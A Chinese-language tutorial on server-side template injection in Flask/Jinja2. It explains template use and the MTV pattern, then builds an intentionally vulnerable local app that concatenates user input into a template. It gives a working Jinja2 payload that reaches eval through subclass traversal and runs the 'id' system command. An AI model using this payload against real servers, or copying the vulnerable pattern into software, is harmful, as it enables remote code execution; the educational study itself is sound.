【ssti模板注入基础】
一、ssti模板注入简介
二、模板在开发中的应用
为什么要使用模板
为什么要用模板来提升效率:
不管我们输入什么,有一部分内容都是不会变的
除了内容之外其他都不会变,如果我们有成千上万的页面,如果不用模板,就算复制粘贴也是很大的工作量
但是 有了模板之后,我们就可以把重复的内容写在模板里,当我们要写页面时,只需要把数据写进去就可以了
MTV这种开发模式的核心就是达成一个前后端分离的效果,可以方便开发和移植,因为每个部分各司其职,就算模型坏掉了,只需要对模型就行修改即可
MTV 图解
当用户输入url 时 会经过url控制器,用url去匹配对应的视图函数,视图函数可能会有和数据库交互的部分,和数据库交互的部分就会发给model,model会从数据库取数据再返回视图,当视图不需要和数据库进行交互时,视图就会把要展示的数据直接返回给模板,模板经过渲染之后,就会成切html文件返回给用户,而我们的ssti漏洞是存在于将用户的数据和模板合在一起进行渲染这个过程中的
三、SSTI初体验
from flask import Flask, request
from jinja2 import Templateapp = Flask(__name__)@app.route('/') #路由地址,如果里面是/123那么就是当访问127.0.0.1/123的时候就会触发这个路由下的方法
def index(): #路由对应的函数 这个函数对应视图这一部分name = request.args.get('name', 'gust') #获取用户的输入,如果没有获取到name这个参数默认为gustt = Template("Hello " + name) #设置模板 把hello 和 name拼接return t.render() #渲染模板并返回if __name__ == '__main__':app.run(port=80) #启动网站 设置80端口
运行后访问127.0.0.1就显示出来了
当我们给name传入123,它就会显示
接下来我们就开始对网站进行测试了:
使用下面的payload可执行id命令:
#执行系统命令
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}
换成dir,就实现了这个命令,所以我们已经getshell了:
四、SSTI基础
变量
变量是由两个花括号括起来的:
加也是一样,不过加号需要我们用url编码,不然+在url编码里是空格的意思:
for循环
我们写一个for循环打印1到10: